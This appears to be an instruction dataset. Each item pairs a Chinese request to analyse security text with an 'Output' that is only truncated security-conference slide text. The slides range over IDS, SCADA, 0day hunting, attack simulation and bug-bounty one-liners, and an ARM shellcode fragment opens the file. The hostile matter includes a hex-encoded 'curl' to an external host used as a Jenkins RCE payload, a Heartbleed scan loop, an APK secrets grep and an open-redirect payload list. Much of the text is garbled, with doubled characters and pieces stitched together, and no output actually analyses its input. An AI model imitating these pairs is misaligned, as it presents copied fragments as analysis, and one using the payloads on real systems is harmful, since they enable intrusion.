ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70
b #6                 \x01\xe0
0x786f6279           \x79\x62\x6f\x78  ybox
push {r7}            \x80\xb4
ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70
b #6                 \x01\xe0
0...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Some things about LAN device detection
(關於內網設備識別的二三事)
Canaan Kao, Terence Liu, Hsien-Wei Hung and Ryan Lung
canaan_kao@trend.com.tw
Network Threat Defense Technology Group
Trend Micro
2015/8/29
1
HitCon2015: LAN device detection
Who we are
• Network Threat Defense Technology
Group (NTDTG) of Trend Micro
– We have offices in Hsinchu and Taipei.
• We focus on
– (Virtualized) High-speed IPS/IDS
– Network-stream-based AV
– Smart-home Protection
– IoT Security
2015/8/29
2
HitCon2015: LAN device detection
Before we start
• HitCon2014 slogan:
– Adapt to the new era of security threats
– 威脅是一定會有的，我們要學會適應。
• HitCon2015 slogan:
– Security of Things
– 物連網安全。
• The combination:
– Adapt to the new era of IoT security threats.
– 物連網威脅是一定會有的，我們要學會適應。
2015/8/29
HitCon2015: LAN device detection
3
Agenda
• Why LAN device identification (LDI)
• How to detect LAN devices
• The threat intelligence with LDI
• Summary
2015/8/29
HitCon2015: LAN device detection
4
• Why LAN device identification
2015/8/29
HitCon2015: LAN device detection
5
Why LAN device identification
• 過去FW/IDS/IPS 基本上會以為家裡的設備
是這樣？
2015/8/29
HitCon2015: LAN device detection
6
Why LAN device identification
• 但是，家裡連網的設備實際上可能會是….
2015/8/29
HitCon2015: LAN device detection
7
Why LAN device identification
• 萬一有誤會，就會產生拿針對 x86 產生的
特徵碼來偵測攻擊 ARM/MIPS 設備的
shellcode 的狀況….
• User 通常不知道
2015/8/29
HitCon2015: LAN device detection
8
Why LAN device identification
• Monitoring
– 計量
• Access Control
– 連網控制
• Learning
– 知己, LAN device behavior modeling
– 知彼, Threat intelligence
2015/8/29
HitCon2015: LAN device detection
9
Why LAN device identification
• Device identification is not important for
traditional IDS/IPS?
– Age is changed.
– IDS/IPS need to change too.
2015/8/29
HitCon2015: LAN device detection
10
Why LAN device identification
• PC 上的 Botnet/Malware 會讓自己看起來越來越
正常。例如：透過 Dropbox 通訊、看Blog等等。
• 這樣比較好規避 AV/IPS/FW.
2015/8/29
HitCon2015: LAN device...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

0x00
IDAburp
1.
2.
3.
4.
vpnvpn
0x01
1. IAM
2. idedr
3.
4. ipurl
wafids
5.
0x02
1. SDP
2. NIST
3.
SDP
SDP
SDPSDP
SDPSDPSDP
agentagentSDP
iptablesipSDP
agentipiptablesip
SDP
NIST
NIST
(PDP)(PEP)
NISTISOAccess management-AMPDPPEP
NISTPDP/PEP
NISTPDPSDPPEPSDPagent
0x03
sxfatrustatrustvpn
VPN
ip
vpn
vpn
atrustedrsdk
atrustmacID
edr
atrust
edrwafhips
atrustatrustvpnvpn
vpn
agent
atrustsdp
atrust
0x04
vpn
vpnvpn
vpnweb
web
vpnvpnipvpn
sslvpnatrust
sslvpnvpnvpn
SPA
1. udpudpip
2. ssl
atrust
SPA
SDP
0x05 POP
sasecdn
pop
poppopatrust
poppop


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

 Martin Holst Swende
 @mhswende
 Patrik Karlsson
 @nevdull77
 Is very diverse: from a low-level infrastructure
point-of-view to high-level application flow
 There are many tools, but a central
component is an intercepting proxy
 Usually complex beasts
Feature
Requirement
Must be in
proxy?
Possible alternatives
Sitemapping
Traffic data
No
Http-level: trivial.
Based on html inspection : e.g. in
browser DOM– javascript.
Content analysis
Traffic data
No
W3af, ratproxy, proxmon, webscarab,
burp etc
Fuzzing
Traffic data
No
JBroFuzz
Spidering
Traffic data
No
Browser-based spiders with DOM-
access. Many choices.
Interception
Live traffic
Yes
None
Manual request
Traffic data +
sockets
No
An http/html/json/xml editor + sockets
Manual inspect
Traffic data
No
An http/html/json/xml editor
Sess. id analysis
Traffic data
No
Stompy
Search
Traffic data
No
Wide range: grep to lucene
 It hogs my machine
 Oh noes: OS updates itself through the proxy
 They usually don’t perform well after a few thousand
requests
 It is not flexible
 Ok, I see the GET-params in the overview.
▪ …but now I want to see the POST – params
▪ … and now I want to see which of my browsers sent it
▪ … and now I want to see all Server-headers. Ordered by path.
▪ … and now I only want to see responses with content type
application/json and the value of the json parameter ”foobar”.
 And what’s with all these cookies eating my screen real
estate?
 It is not open
 I wonder if <tool> would’ve detected that internal ip address?
 ”Let’s chain it: Webscarab, Burp, Paros and Ratproxy”
▪ The road to madness…
 Write an intercepting proxy
 Lightweight
▪ Memory-consumption does not grow with traffic
▪ Streams all non-captured traffic to destination asap
 Recording
▪ Saves to database - MongoDB
▪ Document store where parsed data is stored as JSON documents
▪ Platform independent, Open Source and  fast
 Write an analysis engine
 Flexible
▪ Using MongoDB advanced querying facilities
▪ Using dynamic v...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Sources
of EMR
Sources
of EMR
Human
Brain
Power
Lines
(50,60Hz)
Induction
Heating
Cell
phone
Micro-
wave
oven
Radar
Light
bulb
People
Radio
tower
X-Ray
machines
Radioac-
tive
elements
Sizes of
EMR
Sizes of
EMR
Earth
12,756
km
Football
Field
100m
House
12m
Football
308mm
People
1.8m
Honey
Bee
1.2cm
Single
Cell
10µm
Water
Molecule
0.3nm
Bacteria
3µm-
800nm
Virus 17-
300nm
GAMMA RAYS
X-RAYS
ULTRAVIOLET
VISIBLE
INFRARED
MICROWAVE
RADIO WAVES
Frequency
Wavelength
Energy
0.1Hz
δ (Delta brain waves)
3Hz
θ (Theta brain waves)
8Hz
8Hz
α (Alpha brain waves)
12Hz
β (Low Beta brain waves)
15Hz
β (Mid Beta brain waves)
18Hz
β (High Beta brain waves)
30Hz
γ (Gamma brain waves)
S
S
S
S
S
S
S
50Hz Power
v=
100Hz Lights
p=
60Hz Power
v=
120Hz Lights
p=
150Hz
3rd harmonic
180Hz
3rd harmonic
400Hz
Airplane Power
AM Radio
540
600
700
800
900
1000
1100
1200
1300
1400
1500
1600
A
Ground Wave Emergency Network
Europe and Asia AM
EU&Asia AM
Radiolocation
Maritime Mobile
Maritime Mobile
Navigational Beacons
Navigational Beacons
Marine Radio
Marine Radio
Morse code
SOS
Beacons
X-Band
Beacons
Marine
SOS Marine
Marine
Aeronautical
Aero
LORAN-C navigation
Radionavigation
Maritime Mobile
Maritime Mobile
Maritime Mobile
Maritime Mobile
Maritime Mobile
Maritime Mobile
Marine
Marine
Aero
Marine
Aero
Marine
Aero
International
Intnl. and relays
Aero
Marine
Marine
Aero
Marine
Remote Ctrl
CB
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46 47
48 49
50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
Aeronautical
FM Radio
87.7
92.1
96.1
100.1
104.1
107.9
Marine Mobile
Military
Military
Gov
160 Meters Ham Radio
120m Tropics
90m
80m Ham Radio
60m
Tropics
49m
40m Ham
25m
22m
20m
19m
16m
15m 13m
11m
10m Ham
6m Ham Radio
2m
1 1/4m
3/4 m Ham
0.3GHz
Microwave P-band (Previous)
u
1GHz
Microwave L-band (Long)
H
T-7
T-8
T-9
T-10
T-11
T-12
T-13
T-14
2
3
4
05
06
95
96
97
98
99
07
08
09
10
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Why Anomaly Based Intrusion
Detection Systems are a Hax0rs
Best Friend
By David Maynor
GT Information Security
David.Maynor@oit.gatech.edu
The history of the castle.
•
What is a Anomaly based IDS and how
does it differ from Signature based
systems?
a. Signature based systems rely on static
analysis of event.
b. Anomaly systems rely on creating a baseline
of normal activity then flag any deviations.
•
History
a. Where they come from.
b. What drives their development.
How the castle is built.
•
How anomaly based systems work.
a.
A baseline is normally gathered during a tuning
phase. Gather all traffic, analyze it, store it.
b.
Data mining process that does statistical analysis of
data.
•
Theory behind them.
•
a. If its traffic that hasn't been seen before, its bad.
•
b. Attacks cause things the system has not seen
before.
How the castle is built. (cont.)
• Can science brewed in research labs work in the wild?
a. Eggheads can build rockets, but can they build
security products?
b. Crackers excel at creating attacks that bypass
security models, why is traffic analysis any different?
• Hardware based considerations.
a. What kind of hardware is required to make this a
effective scalable solution?
b. Type of information that would have to be stored
leads to huge hardware requirements.
c. Speed.
-sniffing
-analysis
The castle was built on a shaky
foundation.
•
Problems.
a.
Unwieldy size.
b.
Hardware limitations.
c.
Integration of network changes.
•
Things anomaly based systems assume.
a.
If it hasn't been seen before, its bad.
b.
Machines have normal patterns that can be easily
distinguished.
c.
Networks don’t change.
•
This is somewhat of a half-truth.
The castle was built on a shaky
foundation. (cont.)
•
Why it is so hard to tell good traffic from bad
traffic?
a. Anomaly based systems rarely look at the payload.
b. If network runs in a nonstandard configuration there
are problems.
c. Attacks against commonly used services on the
machines are ignored.
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Windows 本地提权在野 0day 狩猎之旅
Quan Jin <twitter: @jq0904>
DBAPPSecurity
Black Hat USA 2022
注：本文是作者在今年 Black Hat USA 2022 演讲议题的中文版
摘要
本文将讲述我们如何在 2020-2021 两年间狩猎 Windows 本地提权在野 0day 的故事：为什
么我们觉得这件事可行，我们如何研究历史案例，我们如何用学到的经验开发一套检测系统，
以及我们如何改进这套系统使之变得更准确。通过使用这套系统，我们成功捕获了两个
Windows 本地提权在野 0day 和一个 Windows 本地提权在野 1day。
此外，我们也将比较几种不同狩猎方法的优点和缺点，并给出一些对未来 Windows 本地提
权在野 0day 的趋势预测。
背景
从下图可以看出，从 2017 年到 2021 年，微软一共披露了 28 个在野的 Windows 本地提权
0day，它们中的大部分是 Windows 内核漏洞。这些漏洞通常被顶级 APT 组织使用，并且会
造成巨大危害。对安全厂商来说，捕获一个这样的在野 0day 是一件非常有挑战性的事情。
Windows 本地提权在野 0day (2017-2021)
是否有可能捕获一个 Windows 本地提权在野 0day？
为了回答这个问题，我们需要思考另外两个问题：
1.
如何获取有价值的数据源（可能含有在野 0day 的数据源）？
2.
如何开发一套有效的检测方法？
对于第一个问题，我们有一些自己的数据集。此外，历史案例表明像 VirusTotal 这类的公共
平台有可能出现 0day。因此，通过使用私有和公有数据集，我们可以解决第一个问题。
对于第二个问题，有两种方法可以从海量样本中捕获一个 0day：动态检测和静态检测。
a)
动态检测是指的是在真实环境中进行检测，或在沙箱中进行模拟执行，并通过异常行为
过滤出 0day 样本（典型代表是杀毒软件和沙箱）
b)
静态检测是指使用静态特征匹配出样本（典型代表是 YARA）
两种方法都有其优点和缺点。我们对两种方法都进行了一些思考和尝试。测试结果表明，静
态检测方法更适合我们。我们将在后文详细描述这个过程。
接下来，我将解释为什么我们花了大量时间研究历史上的 Windows 本地提权在野 0day。
从历史（和当下）中学习
为什么我们应当从历史中学习？
有三个原因：
1.
一些漏洞利用手法在一段时间内具有连续性
2.
从攻击者视角进行思考可以帮助我们更好地防御
3.
历史案例已经被整个安全社区仔细研究过（我们可以站在巨人的肩膀上）
我们如何学习历史案例？
为了从历史中学习，我们研究了超过 50 个 CVE 漏洞，涵盖了从 2014 年到 2021 年期间几乎
所有的 Windows 本地提权在野 0day 和部分 1day。
我们仔细统计了这些漏洞的发现厂商、使用组织、修补周期、初始披露文章、使用场景、被
攻击的系统版本、漏洞模块、漏洞类型、利用手法、公开的分析博客、公开的利用代码、原
始样本（如果有）和其他信息。
这里我想重点说明其中的几个关键点。
使用场景：
a)
样本是作为独立提权组件使用的，还是作为一个利用链的一部分？
b)
利用代码是基于无文件形式使用的（例如 dll reflection），还是包含在一个落地文件中？
这些信息会直接影响我们对不同检测方案的选取。
被攻击的系统版本：
许多 Windows 本地提权样本在使用前会检测操作系统版本，并且只能在一些特定的版本中
利用或触发。
这个信息在制作沙箱环境或漏洞复现环境时尤其有用。
漏洞模块：
通过统计历史样本的漏洞模块，我们可以得知哪个组件最多次被攻击，哪个攻击面在一段特
定时间内最受攻击者青睐。
这些信息可以帮助我们预测接下来最可能出现的漏洞。
漏洞类型：
通过统计历史样本的漏洞类型，我们可以推断攻击者最喜欢使用的漏洞类型，这个信息可以
帮助我们制作正确的复现环境（例如，是否需要配置 Driver Verifier）。这个信息也可以告诉
我们不同漏洞类型的流行程度（例如竞争条件漏洞在最近几年逐渐增多）。
利用手法：
我认为这是最重要的信息。我们统计了大多数 Windows 本地提权在野 0day 的漏洞利用手
法。基于这部分统计，我们得出了一些有价值的结论。例如，“bServerSideWindowProc”手
法在 2015 年到 2016 年很流行；使用“Previous Mode”手法去实现任意地址读写的手法从
2018 开始变得越来越流行；使用“HMValidateHan...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacker'Machine,Interface,
State,of,the,Union,for,SCADA,HMI,Vulnerabili:es,
Copyright,2016,Trend,Micro,Inc.,
2,
Introduc:on,
Copyright,2016,Trend,Micro,Inc.,
3,
Trend,Micro,Zero,Day,Ini:a:ve,
•  Fritz,Sands,',@FritzSands,
–  Security)Researcher)–)Zero)Day)Ini4a4ve)
–  Root)cause)analysis)and)vulnerability)discovery)
–  Focused)on)SCADA)HMI)vulnerability)analysis)
•  Brian,Gorenc,',@maliciousinput,
–  Senior)Manager)?)Zero)Day)Ini4a4ve)
–  Root)cause)analysis)and)vulnerability)discovery)
–  Organizer)of)Pwn2Own)hacking)compe44ons)
Copyright,2016,Trend,Micro,Inc.,
4,
SCADA,Industry,
Copyright,2016,Trend,Micro,Inc.,
5,
Marketplace,Overview,,
•  Focused,on,ICS,equipment,sales,over,soTware,sales,
•  Ac:ve,merger,and,acquisi:on,ac:vity,,
•  Highly,regionalized,,
Copyright,2016,Trend,Micro,Inc.,
6,
What,is,the,Human,Machine,Interface?,
•  Main,hub,for,managing,and,opera:ng,control,systems,
•  Collects,data,from,the,control,systems,
•  Presents,visualiza:on,of,the,system,architecture,
•  Alarms,operator/sends,no:ﬁca:ons,
•  Should,be,operated,on,isolated,and,trusted,networks,
Copyright,2016,Trend,Micro,Inc.,
7,
Why,target,the,Human,Machine,Interface?,
•  Control,the,targeted,cri:cal,infrastructure,
•  Harvest,informa:on,about,architecture,
•  Disable,alarming,and,no:ﬁca:on,systems,
•  Physically,damage,SCADA,equipment,
Copyright,2016,Trend,Micro,Inc.,
8,
Malware,Targe:ng,HMI,Solu:ons,
•  Stuxnet,
–  First,malware,created,to,target,ICS,environments,
–  Abused,HMI,vulnerabili:es,
•  Siemems,SIMATIC,STEP,7,DLL,Hijacking,Vulnerability,(ICSA'12'205'02),
•  Siemens,WinCC,Insecure,SQL,Server,Authen:ca:on,(ICSA'12'205'01),
•  ,BlackEnergy,
–  Ongoing,sophis:cated,malware,campaign,compromising,ICS,environments,
–  Abused,HMI,vulnerabili:es,
•  GE,CIMIPCITY,Path,Traversal,Vulnerabili:es,(ICSA'14'023'01),
•  Siemens,WinCC,Remote,Code,Execu:on,Vulnerabili:es,(ICSA'14'329'02D),
•  Advantech,WebAccess,(ICS'ALERT'14'281'01B),
Copyright,2016,Trend,Micro,Inc.,
9,
ICS'CERT,
•  Organiza:on,wit...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
•
企业采用多种安全措施，每一种都可能因
配置错误/运营问题失效，且难以察觉
•
如仅依靠蓝军或外采渗透测试，案例数量
较少、时间上不连续、可能遗漏、成本高
•
安全水位无法量化，建设效果难以衡量
•
从攻击者视角对企业基础设施进行持续的自动化安全测试
•
针对安全措施失效、蓝军成本高的问题
•
定义模型量化当前安全水位，发现问题，反哺防御检测能力
•
->解决无法量化的问题
•
2017年，Gartner将入侵攻击模拟技术(BAS)列为威胁对抗Hype Cycle
中的新类别
•
如何对入侵攻击场景进行威胁建模并分级
•
如何持续、尽量真实地测试并避免稳定性问题
•
防御、检测水位如何量化评估
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
杀伤链模型
攻击行为模拟
-->衡量检测响应水位
突破入口模拟
-->衡量防御水位
寻找突破入口
实施恶意行为
阻止攻击
检测响应修复
“利用成功”前后
攻防重点不同
攻击方
防守方
模拟演练方
脚本小子
专业蓝军
国家顶尖
技术水平一般，
主要利用现成
工具；资源少
技术水平较高，
自行编写工具；
资源较多
技术水平高，
可能使用0day；
资源丰富
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
录入测试
插件
原子能力
测试
随机拨测
回归测试
枚举入侵
威胁
防御措施
?
拦截
未拦
防御措施
防御措施
变更
攻击1
攻击2
攻击3
…
攻击1
攻击2
攻击3
…
优化防御策略
目标入口
攻击向量
绕过手法
恶意行为
Web通用组件-Jenkins
(脚本语言为Groovy)
远程命令执行漏洞
CVE-2018-1000861
编码-十六进制编码
(Groovy原生支持hex和base64)
连接恶意网站-curl
120.26.xx.xx:23333
“curl 120.26.xx.xx:23333”的十六进制
编码
目标入口
Target of Attack/
Vulnerable Point
攻击向量
Attack Vector/
Vulnerability
绕过手法
Bypass/Escape/
Encoding
恶意行为
Shellcode/Command/
Malicious Outcome
Web服务及组件
其他服务
自研服务/组件
通用服务/组件
注入
服务端请求伪造(SSRF)
不安全的反序列化
访问控制存在问题
…
X
X
X
编码
语法语义
架构/性能
数据渗出
后门植入/持久化
权限提升
凭证窃取
自研服务/组件
通用服务/组件
…
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
目标入口
攻击向量
攻击类型
绕过手法
恶意行为
POC
测试时间
拦截
情况
目标1
向量1
类型1
绕过1
行为1
…
时间1
✅
目标2
向量2
类型2
绕过2
行为2
…
时间2
❌
目标3
向量3
类型3
绕过3
行为3
…
时间3
✅
…
…
…
…
…
…
…
…
测试结果汇总
攻击类型
拦截数/
攻击数
未拦截
详情
命令执行
…/…
…
SQL注入
…/…
…
…
…
…
总计
…/…
…
原子能力衡量
目标入口
拦截数/攻
击数
分析
目标1
0/100
未接入防御措施
目标2
36/100
防御措施不足
…
…
…
随机拨测
回归测试
测试
样例
测试时间
(变更前)
拦截
测试时间
(变更后)
拦截
分析
攻击1
…
✅
…
✅
正常
攻击2
…
✅
…
❌
变更导致
防御失效
…
…
…
…
…
…
总计
…
100
…
88
需回滚
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
演练剧本
编排
攻击指令
执行
反入侵团
队介入
演练报告
生成
l 随机化剧本生成
Ø 机器数
Ø 应用范围
Ø 攻击阶段
Ø 。。。
攻击路径生成
Ø后门植入
Ø命令与控制
Ø持久化
Ø...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Career Mythbusters
Separating Fact from Fiction in your Security Career
Lee Kushner / Mike Murray
Lee@LJKushner.com / mmurray@episteme.ca
2
Who Are We?
•
Lee Kushner
–
Over 10 years of Success Recruitment of Information Security
Professionals
–
Founder and CEO of the Leading Information Security
Recruitment Firm, LJ Kushner and Associates LLC
–
Wide Range of Nationally Based Clients from Fortune 500s to
security product vendors
•
Mike Murray
–
Security professional with a decade of diverse experience.
–
Security blogger (Episteme.ca) specializing in talking about
security careers, author of the book “Forget the Parachute, Let Me
Fly the Plane”
–
Has managed security teams and helps people working with him
develop the career that they really want to have.
•
We bring very different perspectives on Careers
3
We’re Doing a Survey!
•
More data required
–
Through our roles, we gather a lot of anecdotal evidence, but we
can’t ever have enough hard data.
•
We want to give you something back.
–
Fill it out anonymously if you want, or provide an email address
and we’ll send you the survey and our analysis when we’re done.
–
We’ll take the data, slice and dice it, and give you more real
information about careers in infosec.
–
We’ll also give you Mike’s e-book on careers to help you know
more about finding a job, personal branding tools, etc.
•
Fill it out:
http://www.infosecleaders.com/survey
4
The Big Ones (Myths, that is...)
•
Job Hunting
–
Cover Letters Matter.
–
Resumes aren’t that important.
–
The hiring manager should hear of you from your
resume.
–
Interviews are for the company’s benefit.
–
Interviews are about your qualifications.
•
Managing your Job
–
Money is the most important benefit.
–
You will get a raise because you should.
–
Job title is one of the most important considerations.
•
Career Path
–
You should expect to stick with a single company.
–
Your company will help you figure out your career.
–
You don’t need to plan your career.
–
You ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PEIMA: Using Power Laws to
address Denial of Service
Attacks
REDEZEM
Who Am I?
 Stefan Prandl
 PhD student, Curtin University
 That’s in Perth, Australia
 Networks and Network Security
 Also work with ES2 as a security
consultant
 Been breaking stuff since a young
age
Contents
 The stuff you’ve just seen
 Introduction to Power Laws
 What we’ve been doing; DDoS Defence
 What else you can do:
 IDS
 Diagnostics
 User ID-ing
 Then we’ll look at this tool thing I’ve thrown together
 Demo of what you can do
Introduction to Power Laws
 Natural processes, they’re
statistical
 Things descriptive of natural
processes follow power laws
 When they don’t, something’s
wrong
 Not all natural processes are
natural!
 Eg., Financial transactions
 You can use power laws to detect
fraud.
Or more honestly, power law probability distributions
That’s a mouthful though
Why does that matter?
 Somehow network traffic is
“natural”
 Good lord the machines are alive!
 So power laws must apply
 If they don’t, something is wrong
 Some power laws can be hard
coded
 Extremely fast and low cost
anomaly detection!
Benford’s Law
 Simple and awesome power law
 If it’s a number…
 Generated by a process…
 Process is natural…
 We know what the probability of
the first digit is!
 Never changes, you can hard
code it.
 Such speed. Wow.
What we’ve been doing:
DDoS Defence
 The more artificial the packet, the
worse the anomaly
 Flood DDoS (Amplification, tcp,
udp, http, etc attack) are very
loud
 Can be clearly seen in gestalt
connection data
 Practically instantaneous
 Real time in 100Mbit/1000Mbit
scenarios (probably much more)
 No training at all
How we do it
 Detection processes Tcpdump
data
 Extracts features
 Power law analysis tells us
“Goodness”
 Print out to csv with timestamp
 Or throw an alarm and do
something
 Iptables maybe.
What you can do with that
 Watch for DDoS attacks
 Probably won’t save your network
 Can determine if so...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

© 2012
Presented by:
Pwn’ing you(r) cyber offenders
Piotr Duszynski
@drk1wi
© 2012
;WHOAMI;#?
•
Senior Security Consultant @Trustwave OSCP, OSCE, CEH
•
In security field for the past 6 years, hacking since 9 …
•
Enjoys security research, crazy road trips, mojitos and good music
•
Regardless of this slide title tries not to be too nerdy
2
© 2012
What is this presentation about?
•
New defensive technique that renders your port scan results useless … WOOT
•
New attack vectors against you(r) attackers offensive toolbox … WOOT WOOT
•
Short introduction to a tool called:  Portspoof.
•
PWN’age POC DEMO for one of the well known port scanners.
3
Active (Offensive) defense in practice
© 2012
© 2012
“Blind attackers’ tools”
The art of Annoyance and Camouflage
© 2012
Destroying the reconnaissance phase
•
Typical case scenario ( a target system is behind a Firewall )
5
$ nmap –sV -O demo.addr.pl
© 2012
Portspoof – implementation of the idea
6
GOAL: “make your attackers port scanning experience a real pain”
Worst possible scenario:
•  All 65535 ports are open …
*Portspoof will bind to a single port
•  On every open port there is a service listening…
*Portspoof will dynamically generate valid service signatures ~ 8000 supported
Your task:
Identify all real services on the remote system…
© 2012
Rendering your port scan useless with
Portspoof
•
Worst case scenario (target system is behind the Portspoof) :
7
$ nmap –sV –p - -PN demo.addr.pl
….you will need a lot of patience!
© 2012
Rendering your port scan useless
8
Scanning statistics:
65.535 open ports (services)
~120 MB of sent data
30682 s (8.5h)
and few beers later …
© 2012
Rendering your port scan useless
•
NMAP OS identification results
9
$ nmap –sV -O demo.addr.pl
© 2012
Rendering your port scan useless
•
NMAP OS identification results:
10
Device type: general purpose
Running (JUST GUESSING): Linux 3.X (93%)
OS CPE: cpe:/o:linux:...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking E.S.P.
Hacking E.S.P.
Disclaimer
Disclaimer
The views and opinions expressed in this
The views and opinions expressed in this
presentation are solely those of the
presentation are solely those of the
speakers and do not necessarily reflect
speakers and do not necessarily reflect
opinions of their employers, Defcon, the
opinions of their employers, Defcon, the
Riviera, residents of Las Vegas, residents
Riviera, residents of Las Vegas, residents
of Nevada, anyone in the United States or
of Nevada, anyone in the United States or
on the Planet Earth.  Nothing we are saying
on the Planet Earth.  Nothing we are saying
should be construed as legal advice.  Don't
should be construed as legal advice.  Don't
rely on anything that we say, do your own
rely on anything that we say, do your own
research.
research.
Who We Are!
Who We Are!
Joe Cicero is currently a Network Specialist Instructor for
Joe Cicero is currently a Network Specialist Instructor for
Northeast Wisconsin Technical College, he specializes in
Northeast Wisconsin Technical College, he specializes in
teaching Linux, Network Security, and Computer Forensics
teaching Linux, Network Security, and Computer Forensics
Courses. Joe has had positions covering every aspect of
Courses. Joe has had positions covering every aspect of
computers including:  Help Desk Support, Technician,
computers including:  Help Desk Support, Technician,
Programmer, Network Administrator, Directory of Technology,
Programmer, Network Administrator, Directory of Technology,
Columnist and of course Instructor.  He is most passionate
Columnist and of course Instructor.  He is most passionate
about teaching and enjoys having the time to "tinker" with all
about teaching and enjoys having the time to "tinker" with all
types of technology.
types of technology.
Michael Vieau is a independent security researcher located in
Michael Vieau is a independent security researcher located in
United States where ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

!
!
 Taie-Bugbounty-killer是什什么意思?
主要⽬目标是分享⼀一些更更快速的刷SRC赏⾦金金的⾃自动化挖洞洞技巧命令和⼯工具协同。使⽤用⾥里里⾯面的⽅方法，我们能
够快速批量量找到可以被利利⽤用的⼦子域、api令牌和其它敏敏感漏漏洞洞。
摘要
之前许诺给⼤大家的⾃自动化赏⾦金金挖洞洞技巧，现在来了了，我不不知道你们现在的挖洞洞⽅方式是什什么？我现在的挖
洞洞⽅方式是能⽤用⽼老老外的⼀一条命令⾃自动化或者整合⾃自动化我就不不⼿手动挨个去信息收集可以挖掘。希望这个系
列列可以给你们提供⼀一些不不⼀一样的挖洞洞思路路技巧。
1. ⼼心脏滴⾎血漏漏洞洞
By: @imranparray101
Source: link
下⾯面是⼀一个有⽤用的⼀一⾏行行命令来检查主机名列列表中是否存在OpenSSL Heartbleed漏漏洞洞:
请注意， Heartbleed （CVE-2014-0160）会导致服务器器内存内容泄漏漏和敏敏感信息泄漏漏。
2. 使⽤用grep提取urls
By: @imranparray101
Source: link
grep '-Eo' 参数将只打印匹配的⾏行行。这将使每个URL在⼀一⾏行行中逐⼀一打印出来：
cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect
$line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line:
safe; done
cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
验室制作翻译出品
3. 从APK中提取敏敏感信息
By: @MrR0Y4L3
Source: link
以下是从未打包的APK⽂文件（Android应⽤用程序）中提取有趣（潜在敏敏感）信息的提示：:
通过这⼀一⾏行行程序，我们可以识别url、API密钥、身份验证令牌、凭证、证书锁定代码等等。
请确保⾸首先使⽤用如下apktool解压缩APK⽂文件:
4. 远程解压缩zip⽂文件
By @el_vampinio
Source: link
你是否发现⼀一个可以在远程web服务器器上访问的⾮非常⼤大的zip⽂文件，并希望检查其内容，但您不不想等待下
载它？⽤用它没⽑毛病..
grep -EHirn
"accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|passw
ord|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|in
sert into" APKfolder/
apktool d app_name.apk
验室制作翻译出品
Note that for this to work, the remote web server hosting the zip file has to support the range
HTTP header.
5. Top 25 开放重定向的dorks
By @lutfumertceylan
Source: link
下⾯面是25个最容易易发现开放重定向漏漏洞洞（"未验证的重定向和转发"）：
当URL参数（payload）在服务器器端没有得到正确的验证，导致⽤用户被重定向到⼀一个任意⽹网站时，⽹网站就
会受到Open Redirect的攻击。
虽然这对⽤用户没有任何重⼤大的威胁，但这个漏漏洞洞让⽹网络钓⻥鱼变得更更加容易易。
6. JWT token 绕过
pip install remotezip
# 列列出远程zip⽂文件的内容
remotezip -l "http://site/bigfile.zip"
# 从远程zip⽂文件解压出file.txt
remotezip "http://site/bigfile.zip" "file.txt"
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

我是衬衫 忍者的弟弟 今天我去 TG 看片 发现了一个机器人 感觉很好玩 那我们也整一个
用来扫描吧！
首先 我们去买一个服务器 好的 1 分钟过去了 我们买完了
我们现在需要注册一个机器人
@BotFather TG 加他
起一个好听一点的名字就可以了
很快啊 我们就拿到了自己的 Token
https://core.telegram.org/bots/api 这个是 API 文档 可以随便看看
我建议大家先去看一次 python-telegram
那么开始吧
导包下
from telegram import Update,Bot
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext
首先 main 方法
绑定方法
我们先看看 start 方法去熟悉一下
update.message.reply_text(“这个是回复用的”)
我们可以通过这个 去发消息
怎么读取消息呢？
用这个 update.message.text
